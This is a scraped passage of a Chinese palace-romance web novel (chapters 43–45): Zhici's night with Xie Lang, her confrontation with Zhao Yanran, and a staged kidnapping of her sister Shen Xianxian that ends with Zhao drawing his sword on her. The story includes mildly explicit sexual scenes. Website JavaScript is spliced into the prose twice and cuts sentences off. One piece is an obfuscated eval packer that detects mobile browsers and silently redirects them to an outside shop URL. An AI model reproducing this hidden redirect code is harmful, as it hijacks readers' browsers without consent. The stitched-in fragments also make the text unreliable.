见谢琅拒绝理由愈发苍白,知慈冷笑道,“你爹不过是太祖旁支庶出的子弟,若我爹当年没被掳走,你就是个八竿子打不着的远房亲戚,谁给你的胆子叫我妹妹?” 知慈神色倨傲,口中说着刻薄话,手上动作却十分轻佻:在她说话的同时,知慈抚上谢琅垂在身侧的手臂,用手掌根反复摩挲他的掌心,而谢琅一动不动。 知慈五指缓缓张开,与谢琅十指相扣,从手掌根到指缝,严丝合缝。 这一次,谢琅终于有所回应,他深吸一口气,轻轻回握住知慈与他相扣的手,认真盯着知慈,道,“你真得想好了,不会后悔?” 知慈没说话,牵起谢琅同她十指相扣的手,将谢琅手背按上他身体下方竭力掩饰之处。 知慈挑衅地抬眼看谢琅,翘起嘴角。双手交叠处的触感,早已出卖了他的真实想法。 四目相对,谢琅抑制不住喘息一声。 随即,天旋地转。知慈被不容置疑的力道,按倒在柔软的床铺上。 - 一墙之隔,卯时将至。赵晏然满心欢喜等待知慈到来。 宴会期间他问知慈,能否在宴会结束后来二人生活过的房子来看看。 知慈答应了他,赵晏然心里说不出的雀跃。 但直到他等到月上枝头,眸中希冀化为黯淡,知慈也没有来。 夜晚来临,人声渐渐归于安静。 赵晏然失落起身,来到知慈曾经的房间,点燃一支蜡烛。 班师回京后,他常常一个人来到这间院落,静静坐在知慈屋中,回忆知慈生活过的痕迹。 赵晏然向门外看去,知慈房间的门连通着院子,能瞧见院外的景象。 只见夜晚已深,院外街巷空无一人。 静谧之中,赵晏然拿出知慈当年在路府送他的香囊,像平日一样,握在手中摩挲着。 自他失去知慈,他最常做的就是在这里自欺欺人追忆过去。 从前知慈喜欢他时,他不懂珍惜;如今他终于看清自己的真心,却再也等不来当初满眼都是他的知慈了。 想到这里,赵晏然心中闷痛。 赵晏然手撑着桌子,无力垂下头,却听见隔壁传来规律的闷响声,伴随着失控的女声,还有断断续续的男人喘息。 声音隔着墙,音色模糊变调,听不真切。但赵晏然还是瞬间明白过来隔壁在做什么。 他有些尴尬地直起身,离开卧室回到院中。声音确实小了,但还是隔着窗绕过了院墙传过他耳中。 赵晏然想提醒隔壁男女收敛些,又难掩尴尬和好奇。 实际上,他虽未经人事,但早已在脑中幻想过同知慈做这件极亲密的事。 追究起来,自己第一次产生这种幻想,还要追溯到三年前的追月节。 那天晚上晚风吹拂,他牵起知慈的手。触碰到知慈的一瞬间,赵晏然心中一荡,随即身体颤栗,他无法控制自己起了反应。 他不敢表现出任何异常,只直直看着前方的路,欣喜又尴尬地走完了一路。 当晚他就失眠了。 那时的赵晏然还很懵懂,除了习武和骄傲自大,什么也不懂。但那晚他脑海中不断想着知慈,便本能地有了第一次自我纾解体验。 自那之后,他每每想起朦胧夜色下知慈柔软而小巧的手指,还有她眼角眉梢挥之不去的笑意,便面红耳赤。 赵晏然思绪重回现实,不知过了多久,隔壁的声音戛然而止。 夜色已深。 赵晏然向外望去,只见深夜院门外,依旧空无一人。 赵晏然苦涩地笑了。 知慈又耍了自己。 是他一厢情愿,才会被她玩弄股掌之间。 - 天色将白,隔壁院门吱呀一声,走出了一对年轻男女。 随即二人路过赵晏然的院门前。 心中凄凉的赵晏然瞟了一眼,但这一眼让他感觉浑身气血都涌上了头顶,烧得他神智都开始模糊。他又惊又怒,心中痛楚,犹如被千万把利刃割过。 赵晏然听见自己用濒临失控的声音颤抖道,“站住。” 43. 对峙 天色将白,知慈将大门锁上,任由谢琅垂眸为自己套上兜帽,随即同他一道离开了院落。 没走出几步,二人突然听见不远处传来一声怒喝。 “站住。” 知慈转头,颇为意外地看见赵晏然站在院中。 只见他双目充血、神色惊怒,额角青筋暴起,尽力压抑着冲动。 谢琅见状,上前一步将知慈护在身后,戒备地盯着院中的赵晏然。 见到谢琅的举动,赵晏然绷紧了脸。突然,他一言不发,‘铮’地一声干脆利落抽剑,向谢琅走去。 谢琅紧盯着赵晏然,半步没退,反而将知慈更加严密地护在身后。 眼见一场冲突即将爆发,知慈对赵晏然道,“别动手,我们单独谈谈。” 随即,知慈安抚地搭上谢琅的手臂,示意他没事。 谢琅反握住知慈的手,道,“别去,我来应付他。” 注意到二人亲昵的动作,赵晏然握剑的手不自觉捏紧。关节发白。 知慈摇摇头道,“这是我和他之间的事。”随即她抬头看向赵晏然。 “我们谈谈。” 四目相对,赵晏然停下脚步站住,什么都没说,半晌,他蓦地转身,向里屋走去。 - 屋内,赵晏然的手仍然是抖的。 他知道知慈仍然怨自己。但他从来没想过,她会和别人做那种事。 赵晏然觉得自己就像一个笑话,他满心欢喜从黄昏等到月上枝头,在他心如死灰时,一墙之隔,她竟在同谢琅那个小白脸欢愉? 赵晏然思绪翻涌间,知慈已经进了屋,带上了门。 她刚坐到太师椅上,便注意到赵晏然扫过她发红的脖子。 知慈立刻感到不自在,轻轻拉了拉衣领遮掩。颠鸾倒凤的一夜,平日温和有礼的谦谦君子在那时就仿佛变了一个人。 望着知慈在自己面前神色羞赧地遮掩,赵晏然拼命压抑自己的酸楚和戾气,问道,“你喜欢他?” 知慈道,“不喜欢。” “那你为什么……?” “方才的宴会上我中了合欢药,谢琅帮我解了药。” “你中了药?怎么回事?”话音刚落,赵晏然便忍不住问道。 知慈简单同赵晏然讲述了自己中药的前因后果。 赵晏然压抑着情绪听完,得知知慈无恙,吊起的心这才落了地;但与此同时,他心中五味杂陈,百感交集。 得知事情起因于路茂枝下药想侮辱知慈,赵晏然无比心疼和愤怒,路茂枝怎敢对她起这样的心思? 赵晏然在心底打定主意要将路茂枝碎尸万段。 但随即,赵晏然关注点开始跑偏。 他在心底卑劣地想:幸好,幸好知慈只为了解毒,而非真的喜欢谢琅。 可这个念头一冒出来,赵晏然又立刻感到不甘和苦楚:既然不喜欢谢琅,为什么知慈在这种境遇之下,第一个想到要求救的人是谢琅而不是自己? 心疼、愤怒、庆幸、不甘,强烈的情绪交织在一起,赵晏然仿佛听到自己体内血液隆隆作响。 赵晏然忍了片刻,没忍住道,“为什么不来找我?” “找你?” “中了药,为什么不让我帮你?” 知慈闻言,露出匪夷所思的表情。 “你从前怎么对我的都忘了?凭什么认为我有麻烦就要来找你?” 知慈继续道,“当初与我在一起时,你抛下我去陪伴沈纤纤,从那时起,我就已经看清了你。在我看来,找你解药还不如被路茂枝得手。” 知慈话语中的厌恶让赵晏然疼得心口一颤,他低声开口,“我不喜欢沈纤纤,我只喜欢你。” 知慈笑笑,“这话你自己信么?我倒觉得你既喜欢沈纤纤,又要来招惹我。” “不是,你听我解释——” 知慈抬高声音,压过了他,“有什么好解释?你若真在乎我的感受、不喜欢沈纤纤,那当初为什么沈纤纤勾勾手,你就跑去见她?” 知慈继续道,“从小到大,沈纤纤永远压我一头,人人都更喜欢她。我曾以为你真的喜欢我,可你的作为却给了我当头一棒,原来你和其他人都一样。” 知慈顿了顿,道,“所以,我才不想捡沈纤纤不要的破烂。” 赵晏然被知慈的心里话惊呆了,半晌,他苦涩道,“你把我视作同你姐姐较劲的载体?” 知慈冷笑道,“怎么?你还委屈上了?” 赵晏然沉默。 知慈道,“三年前,沈纤纤拿着我送她的信物,去宗人府冒认了我的公主身份。然后她又派丫鬟来请你——我的情郎,去陪她堕胎。” 沈纤纤曾冒认知慈身份? 闻言,赵晏然眸中闪过震惊之色。他从不知沈纤纤和知慈之间还有这样的龃龉。 知慈道,“抢我身份、抢我情郎,她做的这些事哪件把我当妹妹了?我告诉你,这世上凡是是向着她的人,就都是我的仇人。” 知慈继续道,“所以,不管你出于愧疚还是占有欲来找我,我都不稀罕。” 说着,知慈从椅子上站起来,“我和谢琅的事,不许说出去。” 她看着赵晏然,没说一句威胁的话,心中却已盘算过数种赵晏然泄露此事的善后之法。 赵晏然脑中仍惦记着知慈方才同他说的话,闻言凄凉道,“你就这么看我?我怎么可能让别人知道……” 知慈点点头,“这样最好。”随即头也不回离去了。 - 知慈离开内室,招呼等待她的谢琅一道离开。 二人走在清晨的街巷,天色既白,路上几乎没有行人。 “你同他说了什么?”谢琅问道。 知慈瞥他一眼,“你很在意?” 谢琅认真看向知慈,“他这样惦记你,我怎能不介意。” 闻言,知慈笑了笑,却什么都没说。 二人又走了一段路,谢琅突然道,“你听说过前朝有一对皇室堂兄妹通婚的典故吗,同宗男女成婚虽然少见,但也并非惊世骇俗。” 知慈心中一跳,立刻反应过来谢琅在暗示他想娶自己。 但她可没这个打算,于是装傻道,“听说过,这个典故后来还被改成了戏曲。之前我去梨园最爱听得就是这出,但后来扮皇子那小生换人了,我便不爱听了,你知道后来我喜欢上哪一出吗?” 谢琅见她东拉西扯,有些无奈,“知慈,我想说,我会对你负责。” “……啊?不要。” “为什么?” 知慈道,“因为我不想嫁人,而你也并不想娶我。” 谢琅脸上浮现起一层薄怒,“你怎知我不想?你比我还了解自己?” 知慈摇头,“你是君子,与我发生关系便想着负责。但你我都清楚,昨夜种种是出于救人而非情爱。所以不必拘于礼教,用你我一辈子幸福来买单。” 谢琅凝视着她,“可我不只是为了救你,知慈,我喜欢你。” 知慈笑着摇头,“我说了,你不用因为与我发生了关系,就惯性认为自己‘必须喜欢’我。” 谢琅盯着知慈,神色变幻。 半晌,他无奈叹了一口气,“你根本就不明白。”她凭什么自以为是,擅自定义自己对她的感情。 但随即,谢琅又想,无论如何,知慈既然昨夜愿意找到自己,就说明在她心里自己是与众不同的,只是她还没有发现。 这样想着,谢琅总算释然。他心道,只要自己一直陪在她身边,总有一天她会开窍,明白他的心意。 于是谢琅换了个轻松的话题,与知慈聊起了坊间趣事。 另一边,知慈见他终于不再纠结二人关系,也同样松了口气。 谢琅对她的好感明显,但是她并不想回应。 往生黄泉中,神明告诉过她只有三个月可活。 如今知慈对什么都不感兴趣,只想取回自己的心头血。 昨日谢琅的表现令知慈食髓知味,若有机会她不介意与他再来一次。 但谈论感情就暂时算了。至少在目前来看,回应了谢琅只会牵扯她复仇的精力。 二人闲聊片刻,走到了西市口,知慈开口道,“你我一夜未归,同时回宫不合适。你先回吧,我要去趟城郊,轻鸿在等我。” 知慈说得有理,谢琅点点头,二人分道扬镳。 - 知慈来到城郊一间农家院落,与轻鸿和雇来的绑匪们汇合。 在绑匪引路下,知慈来茅屋中,看见沈纤纤手脚皆被绑住,蒙着眼睛绑在茅草堆前。 听见声响,沈纤纤立刻抬头。但她被黑布蒙眼,又点了哑穴,看不见也说不出话。 在她对面,知慈望着曾与自己关系亲密的姐姐,心中毫无波澜。 她曾很在乎这个姐姐。 为了让沈纤纤走出双亲离世的打击,知慈将对自己意义非凡的金如意送给了沈纤纤;后来沈纤纤执意要去青牛观,知慈不惜将自己置于险地也要陪她一起,只因担忧她的安危。 但后来,沈纤纤的所作所为让自己对她不再抱有抱任何期待了。 自沈纤纤拿着金如意顶替自己的身份的那一刻起,知慈便不再把沈纤纤当做姐姐了。 沈纤纤是仇人,因为这世上只有仇人才会不顾她的感受,屡次抢走她东西伤害她。 既然是仇人,那自己便也没有手下留情的必要。 绑匪对知慈道,“主子,人就在这关着,该交代的,都同她交代清楚了。” 知慈没吭声,打了个手势示意绑匪同她退出茅屋,关上门沈纤纤听不见后,知慈方道,“既然一切就绪,那就按计划进行吧。” - 知慈和谢琅离去后,赵晏然一个人在屋中枯坐良久。 他脑中思绪纷繁混乱,时而想将路茂枝碎尸万段;时而又想起昨夜知慈与谢琅行鱼水之欢,心下大恸。 不知过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了多久,赵晏然起身,离开枣花街,动身回了将军府。 刚进大门,便有人唤住了他,“将军,你可回来了。” 赵晏然回头,看到唤他之人是他在军中的心腹,张统领。 赵晏然班师回朝后,皇帝立刻赏赐给了他将军府大宅。而他手下将领也都加官进爵,赏金万两。 皇帝赏赐的将军府宅邸面积极大,大部分房间都闲置。 赵晏然在军中同将士们情同手足,因此回京后他便让没有落脚地的下属便搬到了他府上暂住,张统领便是其中之一。 此刻,张统领唤住赵晏然,“方才你不在,有人给府上递了封信,说是给你的。”说着,他把信交给赵晏然。 赵晏然接过,一边拆开,一边问道,“递信的人什么来历?” 张统领道,“是个卖菜的,说有人给他钱让给他来递信。我套了几句话,他的确什么都不知道。” 赵晏然点点头,展开信纸一目十行扫了过去。他越读眉头皱得越深,神色逐渐凝重。 一旁张统领道,“上面写了什么?” 赵晏然道,“一封恐吓信。”他把信交给了张统领。 张统领低头读信,只见信上内容大致是:赵晏然的故交沈纤纤如今被绑在郊外的农家院里,想救她必须独自前往,一旦报官或带了别人,沈纤纤就会被立刻撕票。 信纸末尾,绑匪给出了具体地址。 张统领读完,面色凝重道,“这种事会是谁干的?” 赵晏然沉吟片刻,道,“你去高飞家看看,他在不在家。” 高飞曾和张统领一样在赵晏然麾下效力,但前些日子被赵晏然撤了官,临走之前,高飞恼羞成怒,扬言要让赵晏然好看。 张统领会意,“这件事的确最有可能是高飞做的。”他顿了顿,又道,“那眼下情况,人质您打算怎么办?” 赵晏然没回答他。 张统领又道,“您打算救吗?” 赵晏然打断他,“你先去找高飞吧。” 张统领见状,知道不好再问,只得领命而去。 赵晏然在将军府门口站了半晌,最终没有回府,而是动身前往了绑匪提供的地址。 - 半个时辰后,赵晏然来到了绑架沈纤纤的农家院。 他尝试着推了推院门,紧闭的大门内立刻响起人声,“你来了?武器卸了吗?” 赵晏然懒得同他废话,抬脚踹在院门的最薄弱的衔接处,大门应声倒塌,将门后的绑匪压在地上。 赵晏然长靴踩过门板,绑匪瞬间被他身体的重量压得喘不过气。 随即,赵晏然的脚踩到平地上,蹲下身抽剑架在了绑匪脖子上。 “这点能耐也当绑匪?” 绑匪被压得脸涨红,强撑着道,“我们手里有人质,你放开我!” 赵晏然一愣,见到院内茅屋的门突然敞开,另一个绑匪半蹲着持刀架在沈纤纤脖子上,眼神凝重盯着赵晏然。 赵晏然剑下的绑匪脸贴着地,望着茅屋方向大笑,“如何?我们筹码在手——” 他的声音戛然而止,因为赵晏然扬手,一枚飞刀便钉穿了屋内绑匪持刀的手。 绑匪大叫一声,疼痛让他暂时失去了握刀的能力。 赵晏然扬声道,“再给你个机会。要么滚,要么就试试——是你杀她快,还是我杀你更快。” 屋内绑匪依旧大叫喊痛,却不肯出来。 见状,赵晏然道,“好。” 然而他刚抬起手,那绑匪却立刻畏惧地撤了出来,一溜烟跑出院子。经过赵晏然时还特意侧着身避开,怕离近了赵晏然改变心意。 赵晏然又看向剑下的绑匪,“你呢?” - 屋内,沈纤纤被点了哑穴,蒙住眼睛,五花大绑靠在茅草堆旁。 赵晏然与绑匪的对话她听得一清二楚。沈纤纤心里激动:赵晏然真得过来救她了。 她期待他来,又害怕他来,因为这是一场专门针对赵晏然的鸿门宴。 方才两个绑匪不过是烟雾弹,真正的幕后黑手此刻正坐在她身后的暗室里,关注着赵晏然的一举一动。 沈纤纤不知道幕后黑手的身份,只知道他们是冲着赵晏然来的。 他们喂自己服下了致命毒药,并威胁自己:如果想活,那么当赵晏然替她解开绑绳、最没有防备的一刻,她必须要用手里的匕首杀死赵晏然。 用赵晏然的命,才能换她的命。 沈纤纤感受着身后匕首冰凉的温度,想起了自己当时给绑匪的答复。 她说,她答应配合他们,杀掉赵晏然。 但没人知道她心中真正的主意:她表面答应了幕后黑手的要求,但早已暗下决心,做好为了赵晏然牺牲的准备。 沈纤纤知道,自己一直很自私,为了向上爬,她可以不择手段。 但是,自从三年前她恢复平民之身的那天起,她便早已不是从前的沈纤纤了。 44. 求不得 三年前,皇宫。 沈纤纤冒认知慈的公主身份进宫,太监将她暂时安置在宫内的房间休息。 沈纤纤惴惴不安坐在房间内,心中一直琢磨太监所说的欺君要被砍头的下场。 就在这时,门外传来敲门声,沈纤纤打开门,见到一个她完全没想到的人。 “小舅子,帮我个忙。这两天我都在前线,实在走不开。等会你出宫,帮我把这件首饰转交给你姐。” 门外之人竟是池无暇。 而对面,池无暇兴冲冲说完,才注意到自己走错房间认错了人。 于是他向沈纤纤道了歉,准备离去。 沈纤纤无论如何没想到会在当下的情形遇见池无暇。她迟疑片刻,在池无暇转身要离开时唤住了他,“池公子,等等。” 池无暇神色微微疑惑,“姑娘认得我?” 沈纤纤咬唇道,“——你,不记得我了吗?” 池无暇皱起眉,他对眼前女子确实全无印象。 沈纤纤急切问道,“三年前北风城还没沦陷时,你曾趁休沐去池知府家探亲,池公子,你还记得吗?” 池无暇回忆着,缓缓点头。 那年他的确曾去北风城池家本家,探望过外婆和舅舅。 沈纤纤观察着他的神色,池无暇愈是茫然,沈纤纤反倒愈是焦急。 “你在池府期间,你表妹曾举办过一场家宴。那场宴会上,她故意耍我,让我颜面尽失,你可还有印象?” 池无暇见沈纤纤神色激动,似乎自己的回答对她极为重要,可他仔细回想,却实在不记得有这么一码事。 池无暇如实道,“我不记得了。你所说的宴会我有印象,但那时我心里牵挂着尽快回京,除了应酬搭话的人,根本无心关注周围发生了什么。” 沈纤纤愣住。 她一直以为此事让自己名节尽毁,可池无暇明明参加了宴会,却对此事毫无印象? 所以这么多年,只有她被困在了痛苦里? “你怎么能不记得?”沈纤纤喃喃道,随即她想到什么,又道,“那池雨若呢,她是不是也早已忘记了?” 沈纤纤说着,眼睛渐渐浮现出泪意,“你们这些高高在上的人,凭什么伤害了别人,却可以这么轻易地忘记?” 池无暇道,“姑娘,你是不是搞错了什么——” “我没有搞错!”沈纤纤眼中浮起泪花,“朝廷清剿白巾教前夕,我在青牛观撞见过你们兄妹。那时你陪着池雨若上香,她坐在车内,你站着车外,我看得清清楚楚。” 沈纤纤继续道,“你告诉我,为什么坏人命运总是更顺遂?同样是离开故土,为什么我会沦为婢女,而池雨若却能继续享有荣华富贵?” 池无暇无奈,他打断道,“你真的搞错了。那日坐在轿里姑娘并非雨若表妹,而是我的妻子,也是我锦衣卫的下属。那日我同她假做上香游客,是为清剿白巾教踩点做准备。” 沈纤纤不信,“你在撒谎!我都亲耳听到了,你当时说‘小妹,下车吧’,除了池雨若,你还会管谁叫妹妹?!” 池无暇无奈道,“我内人名唤林小梅,我当时唤的是‘小梅’,不是‘小妹’。” 沈纤纤怔住了。 半晌,她带着一丝不易察觉的颤抖,开口道,“那……那池雨若呢,她在哪?” “表妹她早已过世了。” “——什么?” 沈纤纤只觉脑海中的弦断了。 池无暇继续道,“三年前北风城破,白巾教徒进城后便直奔舅舅的府邸。他们在池府烧杀劫掠,表妹她也在那时被匪徒杀害。” 沈纤纤听着池无暇的叙述,心中茫然一片。 池雨若死了? 不可能。 三年来无数个日夜,她都会想起池雨若用极尽厌恶的眼神望着她,让她丢尽颜面。 这份恨意和屈辱支撑着她走到现在,她放弃所爱之人、委身厌恶的人、背叛了她的——不,这个不算。 她这么努力的往上爬,就是为了有一天能把池雨若彻底踩在脚底,将所受屈辱加倍奉还。 可现在池无暇告诉她,池雨若早就死了? 沈纤纤后知后觉地发现,自己竟然在狂笑。 笑着笑着,她留下了泪来。 真是荒谬,原来她一直憎恨的对象竟早已是个死人。 她死了,那自己冒着被砍头的风险呆在宫中是为了什么?——即使自己爬得再高,也无法让池雨若感到后悔了。 沈纤纤勉强调整情绪打发了池无暇,随即颓然倒在罗汉榻上。 池雨若死了,可自己又该怎样从被她伤害的痛苦过往中解脱? …… 第二日一早,宗人府的人过来敲门,“姑娘,等会儿宫中嬷嬷会为您送过来些珠宝首饰。” 沈纤纤没有动作,外面人道,“姑娘?姑娘?” 外面人又敲了片刻,见一直无人回应,咕哝一句,“人不在吗?” 门外脚步声响起,外面人准备离去。沈纤纤突然从椅子上站起来,她大步走到门口,推开了门。 “能带我见你们大人吗,我……隐瞒了一件事。” - 直到第二日下午,沈纤纤才离开宗人府。 她向宗人府坦白了自己冒认知慈的身份。宗人府的官员们为沈纤纤一事忙碌了好几天,如今被告知她撒了谎,脸色阴沉的能滴出墨。 但由于沈纤纤认错态度良好,详细交代了金如意的来龙去脉,又答应对方配合后续调查,因此沈纤纤除了挨一顿板子,便没再受别的惩罚。 沈纤纤走在官署大街上,无处可去。她不想回路府,也不可能再回路府。 茫然之中,她选择遵循本心,去见她最想见的人。 沈纤纤来到枣花街,还没走到赵晏然家,便在街头与赵晏然迎面撞上。 一瞬间,激动而委屈的情感涌上沈纤纤心头。 “晏然!”她想抱他,此刻的她太需要一个温暖的怀抱。 可赵晏然向后退了一步,避开了她的拥抱。 面对赵晏然冷漠的态度,沈纤纤有些委屈。但随即她注意到,赵晏然身背行囊,手持长剑,一副准备远行的打扮。 “晏然,你要去哪。” 少年没有看她,目光涣散,声音宛如梦呓,“去杀鞑靼人。” 沈纤纤惊诧道,“你要参军上战场?可为什么?我记得你明明抵触从军……” 少年压抑着情绪道,“知慈死了,死在鞑靼人手下。” 沈纤纤突然说不出话了。 少年像在对沈纤纤说话,又像在自言自语,“我和她最后一面,她让我不要来找你。可我没理她,当晚她跑到了郊外,正好撞到了鞑靼士兵,卷入战场而亡。” 赵晏然看向沈纤纤,“如果那天我不来找你,离你远一些,不让知慈难过,就不会有后来的事,知慈也就不会死了。” 沈纤纤听着赵晏然自白,听到他说后悔没与自己划清界限,沈纤纤苦涩道,“你就这么喜欢她?” 赵晏然闻言,目光渐渐找回焦点,道,“不,我……比喜欢更深刻。” 沈纤纤心中又酸又涨,“她有什么好,值得你这样神魂落魄?明明她又丑又木讷——” 话未说完,赵晏然便厉声喝道,“闭嘴!” 被赵晏然呵斥,沈纤纤委屈极了。曾经的赵晏然同自己那样暧昧,如今却为了知慈对自己疾言厉色。 沈纤纤红着眼眶道,“为什么你会变成这样?明明从前你同我那样要好……你为了她这么对我,那你我之间的情谊算什么?现在她死了,我们就永远回不到过去了,是吗?” 听见‘死’字,赵晏然只觉额头青筋暴起,情绪又快崩溃,“我从来就没想过和你回什么过去。如果知慈没死,我和她……”赵晏然声音哽咽,再也说不下去了。 沈纤纤脸上有些凉,随即才发现天上下起了雨。 雨势很快变得又大又急,哗哗雨声中,沈纤纤沉默着。 她看着赵晏然在暴雨中闭眼,努力地咽下哽咽。 雨水将赵晏然浑身打得湿透,他缓缓垂下头,无力地转身离去。 “等等,”嘈杂雨声中,沈纤纤喊他,“你不能走!” 沈纤纤大哭,“你不能走,你走了,我怎么办?你别丢下我。” 她曾很渴望赵晏然开窍,去建功立业,可如今这天真来了,她却又妒又痛。 因为他上战场,是为了另一个女人。 赵晏然没有理会她的挽留,沈纤纤只听见他的脚步声愈行愈远。 沈纤纤抬步去追,却怎么也追不上。 雨幕中她视线模糊,只能向赵晏然离去方向歇斯底里喊,“赵晏然,你混蛋!你现在走了,我永远都不会原谅你!” 回应她的只有哗哗雨声。 沈纤纤崩溃了。她第一次抛弃功利之心,直面自己的感情,可为什么赵晏然却不要她了? 她跌坐在地,伏身哭着,“都怪你,你这个贱人!你明明什么都不如我,你凭什么抢走他?!” 沈纤纤哭得身体都抽搐。 虽然情绪上不愿承认,但沈纤纤很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954668|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚:赵晏然不再喜欢她,真的全怪沈知慈吗? 她心知不完全是。 如果当初自己没在赵晏然重病时离开,此刻他喜欢的人也许依然是自己。 难道真的是她错了吗? 那一天,沈纤纤一个人坐在滂沱大雨之中,流着泪回想了很多很多。 - 从那之后,沈纤纤仿佛变了个人。 为谋生,她找了份朴素的活计:在西街市卖鱼。 其实她很清楚,凭借自己的姿色,可以找到更快来钱的办法,但她不想再出卖自己的身体。 因沈纤纤长得美貌,她的摊位生意很好,周围熟客给她起了个“鱼西施”的外号。 随着她的美貌越来越出名,周围常有流氓骚扰她。而路茂枝听说她在卖鱼后,也时常过来砸她场子。 但沈纤纤默默忍下了这一切。她不再是过去那个贪慕虚荣的沈纤纤,如今她本分生活,只为将来与赵晏然重逢时,以干净清白的状态面对他。 一个多月前,路茂枝又一次砸她场子时,也许是老天眷顾,沈纤纤终于如愿以偿再次与赵晏然重逢。 那时赵晏然已经成为了名扬天下的少年将军。再次相逢,他与她形同陌路,却替她教训了路茂枝。 沈纤纤心中急跳,她就知道,他不会不管她。 沈纤纤泪眼婆娑望着赵晏然,谁知他只冷漠地同她擦肩而过。沈纤纤一颗心如坠深渊,故人相逢,他怎能那么冷淡。他真的对自己半点情意都没有了吗? 但第二日,便有一名唤高飞的官员找上了她,邀请她去兵部任职,任职的部门正属于赵晏然下辖。 沈纤纤满心欢喜以为这是赵晏然的安排,然而到了兵部后她才明白,原来这只是高飞为了讨好赵晏然的个人行为,赵晏然对此事一无所知。 在兵部,沈纤纤的差事很轻松,没有流氓骚扰。周围同僚知道她是上面的人介绍来的,都对她很友好客气。 可她再也不曾与赵晏然碰面。 沈纤纤想方设法偶遇赵晏然,甚至拜访过将军府,却要么通传后被请出,要么杳无音讯。 沈纤纤好不甘心,这三年她本分生活,再也没做过出卖身体换取荣华富贵的事情。如今她只想要赵晏然再多见她一眼,但赵晏然还是那么冷漠,她还能怎么做?! 爱而不得的痛苦尽数转换为对沈知慈的恨意。沈纤纤不得不承认,赵晏然真的已经完全对自己没有感情。 而这一切的罪魁祸首,就是沈知慈,若不是她,赵晏然根本不会变心。 三年来,每当她黯然神伤时,唯一能让她感到快慰的事情,便是沈知慈死了。 死得好,沈纤纤咬牙切齿地想。 只有想到她已经是个死人,沈纤纤的心里才稍感平衡。 昨日,沈纤纤被人下了毒药,绑到这处院子里。 对方以她的性命威胁她背刺赵晏然,沈纤纤佯装害怕答应了对方,但内心却升起无畏赴死的欣喜:她挽回赵晏然真心的机会,终于来了。 方才沈纤纤被绑在茅屋,听见屋外传来打斗声,她差点哭了出来。 她就知道,如果她出事,赵晏然一定不会不管她。 此时刀剑声已停。沈纤纤的心跳得飞快,赵晏然距离自己越来越近,她能清晰地听见他的脚步声。 沈纤纤知道,一墙之隔,绑架她的幕后黑手也在等待着这一刻,等着她将匕首插入毫无防备的赵晏然胸膛内。 但是,沈纤纤心道,他打错了算盘。 她早已做好了必死的觉悟。等赵晏然救下自己时,她就会告诉他,绑架她的人就在隔间。届时虽然她会中毒而亡,但赵晏然一定能杀了对方为自己报仇。 她相信,自己献祭生命换来的保护,一定会让赵晏然刻骨铭心。 她一定要做赵晏然心里最重要的那个人。 脚步声越来越近。 赵晏然的脚步声像踩在沈纤纤的心上。一步,一步,他越靠近她,她的心跳就越快。 在距沈纤纤只有一步之遥时,脚步声停了下来。 沈纤纤浑身一松,明白捆绑自己的绳索被划开了。 随即,她的哑穴也被隔空解开了。 最后是蒙眼布,冰冷的剑尖划过,黑布便自沈纤纤眼前滑落。 她与他多久未见了?沈纤纤泪眼婆娑地抬头,却见距她几步之遥,赵晏然单手执剑,冷冷俯视着她。 他握剑的手极稳,剑尖正对准了沈纤纤的咽喉。 “晏、晏然?你在做什么?” “杀你。”赵晏然简明道。 45. 了结 “杀……我?”沈纤纤喃喃,“我哪里对不起你,让你必须杀了我?” 赵晏然平静道,“你没什么对不起我,我为知慈杀你。” - 自三年前知慈死后,赵晏然便无数次午夜梦回,回到他与知慈最后一次起争执时。 那时知慈失望的眼神反复出现在他梦中,让他愧疚痛苦、又不得解脱。 他确信自己喜欢知慈,可那时的他高傲又放不下身段。 所以,当知慈的言语伤害到他时,他的第一反应便是以牙还牙。 为了伤害知慈,赵晏然故意去见沈纤纤,却从未想过阴差阳错会导致知慈死去的后果。 自那之后三年,他反复自问,自己去见沈纤纤对于知慈来说究竟意味什么? 他不断地回忆过往,渐渐地,知慈身上诸多不曾注意的蛛丝马迹,终于在他脑海中变得清晰。 赵宴然想到,知慈作为沈纤纤的姐妹,当年沈纤纤随沈父来上清山做客时,知慈却没有机会一起来;后来与知慈相熟后,她也提起过沈父并不喜欢她。 被父亲这样差别对待,年幼的知慈心里想必很难受。 他又想起后来姐妹二人同在路府做工,沈纤纤跟在大夫人旁边做一等丫鬟,每日不必风吹日晒;而知慈却只能当粗使丫鬟,洒扫庭院的脏活累活都要她负责。 至于周围人对二人态度的差异则更加伤人。所有人,包括当初的自己,都认为沈纤纤更漂亮,所以值得更多的关注和温柔。 所有人都认为,如果在姐妹二人中做出选择,那肯定要选姐姐。 在这样的环境下长大,知慈很难有安全感。她也很容易多想,觉得只要沈纤纤想要的东西,她就一定抢不过。 而当时自己去见沈纤纤的行为,无异于将知慈的不安全感推向了顶峰。 赵晏然终于明白,自己当时的置气之举不单摧毁了知慈对自己的信任,还再次向知慈强化了‘沈知慈永远不如沈纤纤’这一认知,否定了她的价值。 赵晏然心中懊悔,终于醒悟:既然他爱知慈,那他们之间无论发生什么,他都不该拿知慈心底恐惧的事来刺激她。 想清楚这点,他终于明白自己当初去见沈纤纤的行为是多么愚蠢。 于是回京之后,除了偶然见到路茂枝时顺手救了沈纤纤外,赵宴然与沈纤纤再无半点交集。 那之后,赵宴然听说高飞把沈纤纤调到了兵部,他也没有过问一句。 虽然赵宴然已视沈纤纤为陌路,但直到今晨之前,他还从未对沈纤纤动过杀心。 赵晏然心疼知慈的境遇,但他还是认为,沈纤纤因美貌受到周围人优待是她自己的优势而非过错。 知慈没有安全感,说到底是自己做的不够好,作为她的爱人却没有给予她足够偏爱,怨不到沈纤纤头上。 此外,抛开知慈的感受不谈,单论自己对沈纤纤的看法,赵宴然其实心有怨言。 但即使如此,他依旧没想过杀沈纤纤。 